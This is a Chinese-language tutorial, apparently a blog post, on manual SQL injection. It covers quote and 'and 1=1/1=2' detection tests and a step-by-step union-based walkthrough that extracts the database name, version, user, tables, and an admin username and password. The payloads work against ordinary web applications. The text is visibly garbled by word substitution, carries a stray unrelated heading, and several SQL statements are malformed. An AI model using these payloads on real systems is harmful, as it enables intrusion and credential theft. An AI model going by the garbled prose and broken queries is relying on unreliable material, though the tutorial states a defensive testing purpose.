由于这里的参数ID可控,且带入数据库查询,以是造孽用户可以任意拼接SQL语句进行攻击。

当然,SQL注入紧张缘故原由是程序员在开拓用户和数据库的系统时没有对用户输入的字符串进行过滤、转义、限定或处理不严谨,导致攻击者可以通过精心布局的字符串去造孽获取到数据库中的数据。

1.1 SQL注入的事理

SQL注入漏洞的产生须要知足以下两个条件:

php注入语句SQL注入详解 Ruby

(1)参数用户可控:前端传给后真个参数内容是用户可以掌握的。

(2)参数带入数据库查询:传入的参数拼接到SQL语句,且带入参数库查询。
``

数字型注入

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

测试步骤:

(1) 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3’;

对应的sql:select from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出非常;

(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;

对应的sql:select from table where id=3’ and 1=1 语句实行正常,与原始页面没有差异;

(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;

对应的sql:select from table where id=3 and 1=2 语句可以正常实行,但是无法查询出结果,以是返回数据与原始网页存在差异;

如果知足以上三点,则可以判断该URL存在数字型注入。

字符型注入

当输入的参数为字符串时,称为字符型。
字符型和数字型最大的一个差异在于,数字型不须要单引号来闭合,而字符串一样平常须要通过单引号来闭合的。

例如数字型语句:select from table where id =3;

则字符型如下:select from table where name=’admin’;

因此,在布局payload时通过闭合单引号可以成功实行语句。

测试步骤:

(1) 加单引号:select from table where name=’admin’’;

由于加单引号后变成三个单引号,则无法实行,程序会报错;

(2) 加 ’and 1=1 此时sql 语句为:select from table where name=’admin’ and 1=1’ ,也无法进行注入,还须要通过注释符号将其绕过;

因此,布局语句为:select from table where name =’admin’ and 1=--’ 可成功实行返回结果精确;

(3) 加and 1=2— 此时sql语句为:select from table where name=’admin’ and 1=2--’则会报错;

如果知足以上三点,可以判断该url为字符型注入。

2. SQL注入之手工演示

手工SQL注入过程中,数据库实行的语句,是页面提交至做事器运用程序,运用程序获取id的值,然后把值拼接到查询语句中,在到数据库中查询,通过程序解析后,把结果返回在页面上。

2.1 探求注入点

页面提交:xxx.xxx.xxx.xxx?id=1。

数据库实行语句:select from news where id=1。

页面返回描述:返回内容正常。

剖析讲授:正常浏览页面,找到有参数的地方,如id。

2.2 判断注入点

页面提交:xxx.xxx.xxx.xxx?id=1?id=1 and 1=1。

数据库实行语句:select from news where id=1 and 1=1。

页面返回描述:返回内容正常。

剖析讲授:测试SQL语句。

2.3 测试是否存在注入

页面提交:xxx.xxx.xxx.xxx?id=1?id=1 and 1=2。

数据库实行语句:select from news where id=1 and 1=2。

页面返回描述:返回内容出错,只显示底部内容,且无法滑动。

剖析讲授:由于sql语句中,1=2不成立,因此确定存在注入。

2.4 判断字段

页面提交:xxx.xxx.xxx.xxx?id=1?id=1 order by 3。

数据库实行语句:select from news where id=1 order by 3。

页面返回描述:可以通过 order by N 来判断字段,我这里是用到order by 3时,页面返回了缺点。

剖析讲授:通过SQL语句中order by N 来判断有几个字段,返回内容非常,可以确定至少有2个字段。

2.5 判断显示的字段

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 1,2。

数据库实行语句:select from news where id=1 and 1=2 union select 1,2,。

页面返回描述:在页面底部位置显示为2。

剖析讲授:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,便是原来显示内容时候的查询字段。

2.6 判断数据库

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,database()。

数据库实行语句:select from news where id=1 and 1=2 union select 2,database()。

页面返回描述:在底部位置显示为maoshe。

剖析讲授:SQL语句中database()是查询当前数据库的名称(语法:select database();),一个做事器上可能有多个数据库,这里内容显示在第2位置上,maoshe为数据库。

2.7 判断数据库的版本

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,version()。

数据库实行语句:select from news where id=1 and 1=2 union select 2,version()。

页面返回描述:在底部位置显示为maoshe。

剖析讲授:SQL语句中version()是查询当前MySQL的版本(语法:select version();),这里内容显示在第2位置上,解释版本为MYSQL 5.5.53。

2.8 查询当前数据库的用户

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,user()。

数据库实行语句:select from news where id=1 and 1=2 union select 2,user()。

页面返回描述:在底部位置显示为maoshe@localhost。

剖析讲授:SQL语句中user()是查询当前MySQL的用户(语法:select user();),这里内容显示在第2位置上,解释版本为MYSQL的用户为 maoshe@localhost。

2.9 查询数据表

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,table_name finformation_schema.tables where table_schema=database()。

数据库实行语句:select from news where id=1 and 1=2 union select 2,table_name finformation_schema.tables where table_schema=database()。

页面返回描述:在底部位置显示为admin。

剖析讲授:这里内容显示在第2位置上,解释数据库maoshe里面有个表的名称是admin。

2.10 根据数据表查询用户名

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,username from admin。

数据库实行语句:select from news where id=1 and 1=2 union select 2,username from admin。

页面返回描述:在底部位置显示为admin。

剖析讲授:在知道数据表的情形下,可以根据对应的表查询到对应的字段,因此这次查询到的用户名称为admin 。

2.11 查询用户名的密码

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,password from admin。

数据库实行语句:select from news where id=1 and 1=2 union select 2,password from admin。

页面返回描述:在底部位置显示的为密码hellohack。

剖析讲授:在知道数据表的情形下,可以根据对应的表查询到对应的字段,因此这次查询到的用户密码为hellohack。

3. 总结

想要真正闇练SQL注入,那么SQL措辞便是根本,只有明白各种查询语句,我们才能更好的去利用SQL注入漏洞,判别其数据库类型和各种数据的获取。
SQL注入远不止于此,它拥有各种层出不穷的注入类型和各种绕过防护注入技能。
因此,本文章目的是基于安全测试,能够让大家更清楚的理解SQL注入事理,检测系统的安全性。
末了,值得把稳的是未经授权考试测验注入他人系统是违法行为,我们所拥有的技能是用来防御和测试的。